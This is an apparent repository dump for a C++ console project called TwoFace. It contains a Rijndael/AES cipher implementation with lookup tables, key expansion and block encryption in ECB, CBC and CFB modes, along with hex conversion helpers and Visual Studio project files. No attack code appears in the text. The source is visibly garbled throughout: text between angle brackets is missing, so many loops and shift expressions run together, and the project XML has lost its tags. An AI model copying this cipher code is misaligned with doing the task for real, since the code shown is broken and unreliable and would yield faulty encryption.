695634755, 808 | 1646252340, 1863638845, 2013908262, 1963115311, 809 | 1446242576, 1530455833, 1277555970, 1093597963, 810 | 1636604631, 1820824798, 2073724613, 1989249228, 811 | 1436590835, 1487645946, 1337376481, 1119727848, 812 | 164948639, 81781910, 331544205, 516552836, 813 | 1039717051, 821288114, 669961897, 719700128, 814 | -1321436601, -1137216434, -1423284651, -1507760036, 815 | -2062531997, -2011476886, -1626972559, -1844621192, 816 | -647755249, -730921978, -1015933411, -830924780, 817 | -314035669, -532464606, -144822727, -95084496, 818 | -1224610662, -1173691757, -1390940024, -1608712575, 819 | -2094148418, -1910056265, -1724135252, -1808742747, 820 | -547775278, -766340389, -984645440, -935031095, 821 | -344611594, -427906305, -245122844, -60246291, 822 | 1739656202, 1790575107, 2108100632, 1890328081, 823 | 1402811438, 1586903591, 1233856572, 1149249077, 824 | 266959938, 48394827, 369057872, 418672217, 825 | 1002783846, 919489135, 567498868, 752375421, 826 | 209336225, 24197544, 376187827, 459744698, 827 | 945164165, 895287692, 574624663, 793451934, 828 | 1679968233, 1764313568, 2117360635, 1933530610, 829 | 1343127501, 1560637892, 1243112415, 1192455638, 830 | -590686415, -775825096, -958608605, -875051734, 831 | -387518699, -437395172, -219090169, -262898, 832 | -1265457287, -1181111952, -1367032981, -1550863006, 833 | -2134991011, -1917480620, -1700232369, -1750889146 834 | }; 835 | 836 | const int CRijndael::sm_U4[256] = 837 | { 838 | 0, 151849742, 303699484, 454499602, 839 | 607398968, 758720310, 908999204, 1059270954, 840 | 1214797936, 1097159550, 1517440620, 1400849762, 841 | 1817998408, 1699839814, 2118541908, 2001430874, 842 | -1865371424, -1713521682, -2100648196, -1949848078, 843 | -1260086056, -1108764714, -1493267772, -1342996022, 844 | -658970480, -776608866, -895287668, -1011878526, 845 | -57883480, -176042074, -292105548, -409216582, 846 | 1002142683, 850817237, 698445255, 548169417, 847 | 529487843, 377642221, 227885567, 77089521, 848 | 1943217067, 2061379749, 1640576439, 1757691577, 849 | 1474760595, 1592394909, 1174215055, 1290801793, 850 | -1418998981, -1570324427, -1183720153, -1333995991, 851 | -1889540349, -2041385971, -1656360673, -1807156719, 852 | -486304949, -368142267, -249985705, -132870567, 853 | -952647821, -835013507, -718427793, -601841055, 854 | 1986918061, 2137062819, 1685577905, 1836772287, 855 | 1381620373, 1532285339, 1078185097, 1229899655, 856 | 1040559837, 923313619, 740276417, 621982671, 857 | 439452389, 322734571, 137073913, 19308535, 858 | -423803315, -273658557, -190361519, -39167137, 859 | -1031181707, -880516741, -795640727, -643926169, 860 | -1361764803, -1479011021, -1127282655, -1245576401, 861 | -1964953083, -2081670901, -1728371687, -1846137065, 862 | 1305906550, 1155237496, 1607244650, 1455525988, 863 | 1776460110, 1626319424, 2079897426, 1928707164, 864 | 96392454, 213114376, 396673818, 514443284, 865 | 562755902, 679998000, 865136418, 983426092, 866 | -586793578, -737462632, -820237430, -971956092, 867 | -114159186, -264299872, -349698126, -500888388, 868 | -1787927066, -1671205144, -2022411270, -1904641804, 869 | -1319482914, -1202240816, -1556062270, -1437772596, 870 | -321194175, -438830001, -20913827, -137500077, 871 | -923870343, -1042034569, -621490843, -738605461, 872 | -1531793615, -1379949505, -1230456531, -1079659997, 873 | -2138668279, -1987344377, -1835231979, -1684955621, 874 | 2081048481, 1963412655, 1846563261, 1729977011, 875 | 1480485785, 1362321559, 1243905413, 1126790795, 876 | 878845905, 1030690015, 645401037, 796197571, 877 | 274084841, 425408743, 38544885, 188821243, 878 | -681472870, -563312748, -981755258, -864644728, 879 | -212492126, -94852180, -514869570, -398279248, 880 | -1626745622, -1778065436, -1928084746, -2078357000, 881 | -1153566510, -1305414692, -1457000754, -1607801408, 882 | 1202797690, 1320957812, 1437280870, 1554391400, 883 | 1669664834, 1787304780, 1906247262, 2022837584, 884 | 265905162, 114585348, 499347990, 349075736, 885 | 736970802, 585122620, 972512814, 821712160, 886 | -1699282452, -1816524062, -2001922064, -2120213250, 887 | -1098699308, -1215420710, -1399243832, -1517014842, 888 | -757114468, -606973294, -1060810880, -909622130, 889 | -152341084, -1671510, -453942344, -302225226, 890 | 174567692, 57326082, 410887952, 292596766, 891 | 777231668, 660510266, 1011452712, 893681702, 892 | 1108339068, 1258480242, 1343618912, 1494807662, 893 | 1715193156, 1865862730, 1948373848, 2100090966, 894 | -1593017801, -1476300487, -1290376149, -1172609243, 895 | -2059905521, -1942659839, -1759363053, -1641067747, 896 | -379313593, -529979063, -75615141, -227328171, 897 | -850391425, -1000536719, -548792221, -699985043, 898 | 836553431, 953270745, 600235211, 718002117, 899 | 367585007, 484830689, 133361907, 251657213, 900 | 2041877159, 1891211689, 1806599355, 1654886325, 901 | 1568718495, 1418573201, 1335535747, 1184342925 902 | }; 903 | 904 | const char CRijndael::sm_rcon[30] = 905 | { 906 | 1, 2, 4, 8, 16, 32, 907 | 64, -128, 27, 54, 108, -40, 908 | -85, 77, -102, 47, 94, -68, 909 | 99, -58, -105, 53, 106, -44, 910 | -77, 125, -6, -17, -59, -111 911 | }; 912 | 913 | const int CRijndael::sm_shifts[3][4][2] = 914 | { 915 | { {0, 0}, {1, 3}, {2, 2}, {3, 1} }, 916 | { {0, 0}, {1, 5}, {2, 4}, {3, 3} }, 917 | { {0, 0}, {1, 7}, {3, 5}, {4, 4} } 918 | }; 919 | 920 | //Error Messages 921 | char const* CRijndael::sm_szErrorMsg1 = "Object not Initialized"; 922 | char const* CRijndael::sm_szErrorMsg2 = "Data not multiple of Block Size"; 923 | 924 | //Null chain 925 | char const* CRijndael::sm_chain0 = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; 926 | 927 | //CONSTRUCTOR 928 | CRijndael::CRijndael() : m_bKeyInit(false) 929 | { 930 | } 931 | 932 | //DESTRUCTOR 933 | CRijndael::~CRijndael() 934 | { 935 | } 936 | 937 | //Expand a user-supplied key material into a session key. 938 | // key - The 128/192/256-bit user-key to use. 939 | // chain - initial chain block for CBC and CFB modes. 940 | // keylength - 16, 24 or 32 bytes 941 | // blockSize - The block size in bytes of this Rijndael (16, 24 or 32 bytes). 942 | void CRijndael::MakeKey(char const* key, char const* chain, int keylength, int blockSize) 943 | { 944 | if(NULL == key) 945 | throw exception("Empty key"); 946 | if(!(16==keylength || 24==keylength || 32==keylength)) 947 | throw exception("Incorrect key length"); 948 | if(!(16==blockSize || 24==blockSize || 32==blockSize)) 949 | throw exception("Incorrect block length"); 950 | m_keylength = keylength; 951 | m_blockSize = blockSize; 952 | //Initialize the chain 953 | memcpy(m_chain0, chain, m_blockSize); 954 | memcpy(m_chain, chain, m_blockSize); 955 | //Calculate Number of Rounds 956 | switch(m_keylength) 957 | { 958 | case 16: 959 | m_iROUNDS = (m_blockSize == 16) ? 10 : (m_blockSize == 24 ? 12 : 14); 960 | break; 961 | 962 | case 24: 963 | m_iROUNDS = (m_blockSize != 32) ? 12 : 14; 964 | break; 965 | 966 | default: // 32 bytes = 256 bits 967 | m_iROUNDS = 14; 968 | } 969 | int BC = m_blockSize / 4; 970 | int i, j; 971 | for(i=0; i<=m_iROUNDS; i++) 972 | { 973 | for(j=0; j> 16) & 0xFF] & 0xFF) << 24 ^ 1006 | (sm_S[(tt >> 8) & 0xFF] & 0xFF) << 16 ^ 1007 | (sm_S[ tt & 0xFF] & 0xFF) << 8 ^ 1008 | (sm_S[(tt >> 24) & 0xFF] & 0xFF) ^ 1009 | (sm_rcon[rconpointer++] & 0xFF) << 24; 1010 | if(KC != 8) 1011 | for(i=1, j=0; i> 8) & 0xFF] & 0xFF) << 8 ^ 1020 | (sm_S[(tt >> 16) & 0xFF] & 0xFF) << 16 ^ 1021 | (sm_S[(tt >> 24) & 0xFF] & 0xFF) << 24; 1022 | for(j = KC/2, i=j+1; i> 24) & 0xFF] ^ 1038 | sm_U2[(tt >> 16) & 0xFF] ^ 1039 | sm_U3[(tt >> 8) & 0xFF] ^ 1040 | sm_U4[tt & 0xFF]; 1041 | } 1042 | m_bKeyInit = true; 1043 | } 1044 | 1045 | //Convenience method to encrypt exactly one block of plaintext, assuming 1046 | //Rijndael's default block size (128-bit). 1047 | // in - The plaintext 1048 | // result - The ciphertext generated from a plaintext using the key 1049 | void CRijndael::DefEncryptBlock(char const* in, char* result) 1050 | { 1051 | if(false==m_bKeyInit) 1052 | throw exception(sm_szErrorMsg1); 1053 | int* Ker = m_Ke[0]; 1054 | int t0 = ((unsigned char)*(in++) << 24); 1055 | t0 |= ((unsigned char)*(in++) << 16); 1056 | t0 |= ((unsigned char)*(in++) << 8); 1057 | (t0 |= (unsigned char)*(in++)) ^= Ker[0]; 1058 | int t1 = ((unsigned char)*(in++) << 24); 1059 | t1 |= ((unsigned char)*(in++) << 16); 1060 | t1 |= ((unsigned char)*(in++) << 8); 1061 | (t1 |= (unsigned char)*(in++)) ^= Ker[1]; 1062 | int t2 = ((unsigned char)*(in++) << 24); 1063 | t2 |= ((unsigned char)*(in++) << 16); 1064 | t2 |= ((unsigned char)*(in++) << 8); 1065 | (t2 |= (unsigned char)*(in++)) ^= Ker[2]; 1066 | int t3 = ((unsigned char)*(in++) << 24); 1067 | t3 |= ((unsigned char)*(in++) << 16); 1068 | t3 |= ((unsigned char)*(in++) << 8); 1069 | (t3 |= (unsigned char)*(in++)) ^= Ker[3]; 1070 | int a0, a1, a2, a3; 1071 | //Apply Round Transforms 1072 | for (int r = 1; r < m_iROUNDS; r++) 1073 | { 1074 | Ker = m_Ke[r]; 1075 | a0 = (sm_T1[(t0 >> 24) & 0xFF] ^ 1076 | sm_T2[(t1 >> 16) & 0xFF] ^ 1077 | sm_T3[(t2 >> 8) & 0xFF] ^ 1078 | sm_T4[t3 & 0xFF]) ^ Ker[0]; 1079 | a1 = (sm_T1[(t1 >> 24) & 0xFF] ^ 1080 | sm_T2[(t2 >> 16) & 0xFF] ^ 1081 | sm_T3[(t3 >> 8) & 0xFF] ^ 1082 | sm_T4[t0 & 0xFF]) ^ Ker[1]; 1083 | a2 = (sm_T1[(t2 >> 24) & 0xFF] ^ 1084 | sm_T2[(t3 >> 16) & 0xFF] ^ 1085 | sm_T3[(t0 >> 8) & 0xFF] ^ 1086 | sm_T4[t1 & 0xFF]) ^ Ker[2]; 1087 | a3 = (sm_T1[(t3 >> 24) & 0xFF] ^ 1088 | sm_T2[(t0 >> 16) & 0xFF] ^ 1089 | sm_T3[(t1 >> 8) & 0xFF] ^ 1090 | sm_T4[t2 & 0xFF]) ^ Ker[3]; 1091 | t0 = a0; 1092 | t1 = a1; 1093 | t2 = a2; 1094 | t3 = a3; 1095 | } 1096 | //Last Round is special 1097 | Ker = m_Ke[m_iROUNDS]; 1098 | int tt = Ker[0]; 1099 | result[0] = sm_S[(t0 >> 24) & 0xFF] ^ (tt >> 24); 1100 | result[1] = sm_S[(t1 >> 16) & 0xFF] ^ (tt >> 16); 1101 | result[2] = sm_S[(t2 >> 8) & 0xFF] ^ (tt >> 8); 1102 | result[3] = sm_S[t3 & 0xFF] ^ tt; 1103 | tt = Ker[1]; 1104 | result[4] = sm_S[(t1 >> 24) & 0xFF] ^ (tt >> 24); 1105 | result[5] = sm_S[(t2 >> 16) & 0xFF] ^ (tt >> 16); 1106 | result[6] = sm_S[(t3 >> 8) & 0xFF] ^ (tt >> 8); 1107 | result[7] = sm_S[t0 & 0xFF] ^ tt; 1108 | tt = Ker[2]; 1109 | result[8] = sm_S[(t2 >> 24) & 0xFF] ^ (tt >> 24); 1110 | result[9] = sm_S[(t3 >> 16) & 0xFF] ^ (tt >> 16); 1111 | result[10] = sm_S[(t0 >> 8) & 0xFF] ^ (tt >> 8); 1112 | result[11] = sm_S[t1 & 0xFF] ^ tt; 1113 | tt = Ker[3]; 1114 | result[12] = sm_S[(t3 >> 24) & 0xFF] ^ (tt >> 24); 1115 | result[13] = sm_S[(t0 >> 16) & 0xFF] ^ (tt >> 16); 1116 | result[14] = sm_S[(t1 >> 8) & 0xFF] ^ (tt >> 8); 1117 | result[15] = sm_S[t2 & 0xFF] ^ tt; 1118 | } 1119 | 1120 | //Convenience method to decrypt exactly one block of plaintext, assuming 1121 | //Rijndael's default block size (128-bit). 1122 | // in - The ciphertext. 1123 | // result - The plaintext generated from a ciphertext using the session key. 1124 | void CRijndael::DefDecryptBlock(char const* in, char* result) 1125 | { 1126 | if(false==m_bKeyInit) 1127 | throw exception(sm_szErrorMsg1); 1128 | int* Kdr = m_Kd[0]; 1129 | int t0 = ((unsigned char)*(in++) << 24); 1130 | t0 = t0 | ((unsigned char)*(in++) << 16); 1131 | t0 |= ((unsigned char)*(in++) << 8); 1132 | (t0 |= (unsigned char)*(in++)) ^= Kdr[0]; 1133 | int t1 = ((unsigned char)*(in++) << 24); 1134 | t1 |= ((unsigned char)*(in++) << 16); 1135 | t1 |= ((unsigned char)*(in++) << 8); 1136 | (t1 |= (unsigned char)*(in++)) ^= Kdr[1]; 1137 | int t2 = ((unsigned char)*(in++) << 24); 1138 | t2 |= ((unsigned char)*(in++) << 16); 1139 | t2 |= ((unsigned char)*(in++) << 8); 1140 | (t2 |= (unsigned char)*(in++)) ^= Kdr[2]; 1141 | int t3 = ((unsigned char)*(in++) << 24); 1142 | t3 |= ((unsigned char)*(in++) << 16); 1143 | t3 |= ((unsigned char)*(in++) << 8); 1144 | (t3 |= (unsigned char)*(in++)) ^= Kdr[3]; 1145 | int a0, a1, a2, a3; 1146 | for(int r = 1; r < m_iROUNDS; r++) // apply round transforms 1147 | { 1148 | Kdr = m_Kd[r]; 1149 | a0 = (sm_T5[(t0 >> 24) & 0xFF] ^ 1150 | sm_T6[(t3 >> 16) & 0xFF] ^ 1151 | sm_T7[(t2 >> 8) & 0xFF] ^ 1152 | sm_T8[ t1 & 0xFF] ) ^ Kdr[0]; 1153 | a1 = (sm_T5[(t1 >> 24) & 0xFF] ^ 1154 | sm_T6[(t0 >> 16) & 0xFF] ^ 1155 | sm_T7[(t3 >> 8) & 0xFF] ^ 1156 | sm_T8[ t2 & 0xFF] ) ^ Kdr[1]; 1157 | a2 = (sm_T5[(t2 >> 24) & 0xFF] ^ 1158 | sm_T6[(t1 >> 16) & 0xFF] ^ 1159 | sm_T7[(t0 >> 8) & 0xFF] ^ 1160 | sm_T8[ t3 & 0xFF] ) ^ Kdr[2]; 1161 | a3 = (sm_T5[(t3 >> 24) & 0xFF] ^ 1162 | sm_T6[(t2 >> 16) & 0xFF] ^ 1163 | sm_T7[(t1 >> 8) & 0xFF] ^ 1164 | sm_T8[ t0 & 0xFF] ) ^ Kdr[3]; 1165 | t0 = a0; 1166 | t1 = a1; 1167 | t2 = a2; 1168 | t3 = a3; 1169 | } 1170 | //Last Round is special 1171 | Kdr = m_Kd[m_iROUNDS]; 1172 | int tt = Kdr[0]; 1173 | result[ 0] = sm_Si[(t0 >> 24) & 0xFF] ^ (tt >> 24); 1174 | result[ 1] = sm_Si[(t3 >> 16) & 0xFF] ^ (tt >> 16); 1175 | result[ 2] = sm_Si[(t2 >> 8) & 0xFF] ^ (tt >> 8); 1176 | result[ 3] = sm_Si[ t1 & 0xFF] ^ tt; 1177 | tt = Kdr[1]; 1178 | result[ 4] = sm_Si[(t1 >> 24) & 0xFF] ^ (tt >> 24); 1179 | result[ 5] = sm_Si[(t0 >> 16) & 0xFF] ^ (tt >> 16); 1180 | result[ 6] = sm_Si[(t3 >> 8) & 0xFF] ^ (tt >> 8); 1181 | result[ 7] = sm_Si[ t2 & 0xFF] ^ tt; 1182 | tt = Kdr[2]; 1183 | result[ 8] = sm_Si[(t2 >> 24) & 0xFF] ^ (tt >> 24); 1184 | result[ 9] = sm_Si[(t1 >> 16) & 0xFF] ^ (tt >> 16); 1185 | result[10] = sm_Si[(t0 >> 8) & 0xFF] ^ (tt >> 8); 1186 | result[11] = sm_Si[ t3 & 0xFF] ^ tt; 1187 | tt = Kdr[3]; 1188 | result[12] = sm_Si[(t3 >> 24) & 0xFF] ^ (tt >> 24); 1189 | result[13] = sm_Si[(t2 >> 16) & 0xFF] ^ (tt >> 16); 1190 | result[14] = sm_Si[(t1 >> 8) & 0xFF] ^ (tt >> 8); 1191 | result[15] = sm_Si[ t0 & 0xFF] ^ tt; 1192 | } 1193 | 1194 | //Encrypt exactly one block of plaintext. 1195 | // in - The plaintext. 1196 | // result - The ciphertext generated from a plaintext using the key. 1197 | void CRijndael::EncryptBlock(char const* in, char* result) 1198 | { 1199 | if(false==m_bKeyInit) 1200 | throw exception(sm_szErrorMsg1); 1201 | if(DEFAULT_BLOCK_SIZE == m_blockSize) 1202 | { 1203 | DefEncryptBlock(in, result); 1204 | return; 1205 | } 1206 | int BC = m_blockSize / 4; 1207 | int SC = (BC == 4) ? 0 : (BC == 6 ? 1 : 2); 1208 | int s1 = sm_shifts[SC][1][0]; 1209 | int s2 = sm_shifts[SC][2][0]; 1210 | int s3 = sm_shifts[SC][3][0]; 1211 | //Temporary Work Arrays 1212 | int i; 1213 | int tt; 1214 | int* pi = t; 1215 | for(i=0; i> 24) & 0xFF] ^ 1227 | sm_T2[(t[(i + s1) % BC] >> 16) & 0xFF] ^ 1228 | sm_T3[(t[(i + s2) % BC] >> 8) & 0xFF] ^ 1229 | sm_T4[ t[(i + s3) % BC] & 0xFF] ) ^ m_Ke[r][i]; 1230 | memcpy(t, a, 4*BC); 1231 | } 1232 | int j; 1233 | //Last Round is Special 1234 | for(i=0,j=0; i> 24) & 0xFF] ^ (tt >> 24); 1238 | result[j++] = sm_S[(t[(i + s1) % BC] >> 16) & 0xFF] ^ (tt >> 16); 1239 | result[j++] = sm_S[(t[(i + s2) % BC] >> 8) & 0xFF] ^ (tt >> 8); 1240 | result[j++] = sm_S[ t[(i + s3) % BC] & 0xFF] ^ tt; 1241 | } 1242 | } 1243 | 1244 | //Decrypt exactly one block of ciphertext. 1245 | // in - The ciphertext. 1246 | // result - The plaintext generated from a ciphertext using the session key. 1247 | void CRijndael::DecryptBlock(char const* in, char* result) 1248 | { 1249 | if(false==m_bKeyInit) 1250 | throw exception(sm_szErrorMsg1); 1251 | if(DEFAULT_BLOCK_SIZE == m_blockSize) 1252 | { 1253 | DefDecryptBlock(in, result); 1254 | return; 1255 | } 1256 | int BC = m_blockSize / 4; 1257 | int SC = BC == 4 ? 0 : (BC == 6 ? 1 : 2); 1258 | int s1 = sm_shifts[SC][1][1]; 1259 | int s2 = sm_shifts[SC][2][1]; 1260 | int s3 = sm_shifts[SC][3][1]; 1261 | //Temporary Work Arrays 1262 | int i; 1263 | int tt; 1264 | int* pi = t; 1265 | for(i=0; i> 24) & 0xFF] ^ 1277 | sm_T6[(t[(i + s1) % BC] >> 16) & 0xFF] ^ 1278 | sm_T7[(t[(i + s2) % BC] >> 8) & 0xFF] ^ 1279 | sm_T8[ t[(i + s3) % BC] & 0xFF]) ^ m_Kd[r][i]; 1280 | memcpy(t, a, 4*BC); 1281 | } 1282 | int j; 1283 | //Last Round is Special 1284 | for(i=0,j=0; i> 24) & 0xFF] ^ (tt >> 24); 1288 | result[j++] = sm_Si[(t[(i + s1) % BC] >> 16) & 0xFF] ^ (tt >> 16); 1289 | result[j++] = sm_Si[(t[(i + s2) % BC] >> 8) & 0xFF] ^ (tt >> 8); 1290 | result[j++] = sm_Si[ t[(i + s3) % BC] & 0xFF] ^ tt; 1291 | } 1292 | } 1293 | 1294 | void CRijndael::Encrypt(char const* in, char* result, size_t n, int iMode) 1295 | { 1296 | if(false==m_bKeyInit) 1297 | throw exception(sm_szErrorMsg1); 1298 | //n should be > 0 and multiple of m_blockSize 1299 | if(0==n || n%m_blockSize!=0) 1300 | throw exception(sm_szErrorMsg2); 1301 | int i; 1302 | char const* pin; 1303 | char* presult; 1304 | if(CBC == iMode) //CBC mode, using the Chain 1305 | { 1306 | for(i=0,pin=in,presult=result; i 0 and multiple of m_blockSize 1342 | if(0==n || n%m_blockSize!=0) 1343 | throw exception(sm_szErrorMsg2); 1344 | int i; 1345 | char const* pin; 1346 | char* presult; 1347 | if(CBC == iMode) //CBC mode, using the Chain 1348 | { 1349 | for(i=0,pin=in,presult=result; i 8 | #include 9 | 10 | using namespace std; 11 | 12 | //Rijndael (pronounced Reindaal) is a block cipher, designed by Joan Daemen and Vincent Rijmen as a candidate algorithm for the AES. 13 | //The cipher has a variable block length and key length. The authors currently specify how to use keys with a length 14 | //of 128, 192, or 256 bits to encrypt blocks with al length of 128, 192 or 256 bits (all nine combinations of 15 | //key length and block length are possible). Both block length and key length can be extended very easily to 16 | // multiples of 32 bits. 17 | //Rijndael can be implemented very efficiently on a wide range of processors and in hardware. 18 | //This implementation is based on the Java Implementation used with the Cryptix toolkit found at: 19 | //http://www.esat.kuleuven.ac.be/~rijmen/rijndael/rijndael.zip 20 | //Java code authors: Raif S. Naffah, Paulo S. L. M. Barreto 21 | //This Implementation was tested against KAT test published by the authors of the method and the 22 | //results were identical. 23 | class CRijndael 24 | { 25 | public: 26 | //Operation Modes 27 | //The Electronic Code Book (ECB), Cipher Block Chaining (CBC) and Cipher Feedback Block (CFB) modes 28 | //are implemented. 29 | //In ECB mode if the same block is encrypted twice with the same key, the resulting 30 | //ciphertext blocks are the same. 31 | //In CBC Mode a ciphertext block is obtained by first xoring the 32 | //plaintext block with the previous ciphertext block, and encrypting the resulting value. 33 | //In CFB mode a ciphertext block is obtained by encrypting the previous ciphertext block 34 | //and xoring the resulting value with the plaintext. 35 | enum { ECB=0, CBC=1, CFB=2 }; 36 | 37 | private: 38 | enum { DEFAULT_BLOCK_SIZE=16 }; 39 | enum { MAX_BLOCK_SIZE=32, MAX_ROUNDS=14, MAX_KC=8, MAX_BC=8 }; 40 | 41 | //Auxiliary Functions 42 | //Multiply two elements of GF(2^m) 43 | static int Mul(int a, int b) 44 | { 45 | return (a != 0 && b != 0) ? sm_alog[(sm_log[a & 0xFF] + sm_log[b & 0xFF]) % 255] : 0; 46 | } 47 | 48 | //Convenience method used in generating Transposition Boxes 49 | static int Mul4(int a, char b[]) 50 | { 51 | if(a == 0) 52 | return 0; 53 | a = sm_log[a & 0xFF]; 54 | int a0 = (b[0] != 0) ? sm_alog[(a + sm_log[b[0] & 0xFF]) % 255] & 0xFF : 0; 55 | int a1 = (b[1] != 0) ? sm_alog[(a + sm_log[b[1] & 0xFF]) % 255] & 0xFF : 0; 56 | int a2 = (b[2] != 0) ? sm_alog[(a + sm_log[b[2] & 0xFF]) % 255] & 0xFF : 0; 57 | int a3 = (b[3] != 0) ? sm_alog[(a + sm_log[b[3] & 0xFF]) % 255] & 0xFF : 0; 58 | return a0 << 24 | a1 << 16 | a2 << 8 | a3; 59 | } 60 | 61 | public: 62 | //CONSTRUCTOR 63 | CRijndael(); 64 | 65 | //DESTRUCTOR 66 | virtual ~CRijndael(); 67 | 68 | //Expand a user-supplied key material into a session key. 69 | // key - The 128/192/256-bit user-key to use. 70 | // chain - initial chain block for CBC and CFB modes. 71 | // keylength - 16, 24 or 32 bytes 72 | // blockSize - The block size in bytes of this Rijndael (16, 24 or 32 bytes). 73 | void MakeKey(char const* key, char const* chain, int keylength=DEFAULT_BLOCK_SIZE, int blockSize=DEFAULT_BLOCK_SIZE); 74 | 75 | private: 76 | //Auxiliary Function 77 | void Xor(char* buff, char const* chain) 78 | { 79 | if(false==m_bKeyInit) 80 | throw exception(sm_szErrorMsg1); 81 | for(int i=0; i 6 | 7 | using namespace std; 8 | 9 | //Function to convert unsigned char to string of length 2 10 | void Char2Hex(unsigned char ch, char* szHex) 11 | { 12 | unsigned char byte[2]; 13 | byte[0] = ch/16; 14 | byte[1] = ch%16; 15 | for(int i=0; i<2; i++) 16 | { 17 | if(byte[i] >= 0 && byte[i] <= 9) 18 | szHex[i] = '0' + byte[i]; 19 | else 20 | szHex[i] = 'A' + byte[i] - 10; 21 | } 22 | szHex[2] = 0; 23 | } 24 | 25 | //Function to convert string of length 2 to unsigned char 26 | void Hex2Char(char const* szHex, unsigned char& rch) 27 | { 28 | rch = 0; 29 | for(int i=0; i<2; i++) 30 | { 31 | if(*(szHex + i) >='0' && *(szHex + i) <= '9') 32 | rch = (rch << 4) + (*(szHex + i) - '0'); 33 | else if(*(szHex + i) >='A' && *(szHex + i) <= 'F') 34 | rch = (rch << 4) + (*(szHex + i) - 'A' + 10); 35 | else 36 | break; 37 | } 38 | } 39 | 40 | //Function to convert string of unsigned chars to string of chars 41 | void CharStr2HexStr(unsigned char const* pucCharStr, char* pszHexStr, int iSize) 42 | { 43 | int i; 44 | char szHex[3]; 45 | pszHexStr[0] = 0; 46 | for(i=0; i 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {7563D4A2-2B7A-4831-8DC1-3BDE41DAC752} 23 | Win32Proj 24 | TwoFace 25 | 8.1 26 | 27 | 28 | 29 | Application 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | Use 87 | Level3 88 | Disabled 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | MultiThreaded 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Use 100 | Level3 101 | Disabled 102 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 103 | 104 | 105 | Console 106 | true 107 | 108 | 109 | 110 | 111 | Level3 112 | Use 113 | MaxSpeed 114 | true 115 | true 116 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 117 | MultiThreaded 118 | 119 | 120 | Console 121 | true 122 | true 123 | true 124 | 125 | 126 | 127 | 128 | Level3 129 | Use 130 | MaxSpeed 131 | true 132 | true 133 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 134 | 135 | 136 | Console 137 | true 138 | true 139 | true 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | Create 155 | Create 156 | Create 157 | Create 158 | 159 | 160 | 161 | 162 | 163 | 164 | -------------------------------------------------------------------------------- /TwoFace/TwoFace/TwoFace.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | 35 | 36 | Source Files 37 | 38 | 39 | Source Files 40 | 41 | 42 | Source Files 43 | 44 | 45 | -------------------------------------------------------------------------------- /TwoFace/TwoFace/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // TwoFace.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /TwoFace/TwoFace/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | #include "Rijndael.h" 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | 16 | 17 | // TODO: reference additional headers your program requires here 18 | -------------------------------------------------------------------------------- /TwoFace/TwoFace/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | --------------------------------------------------------------------------------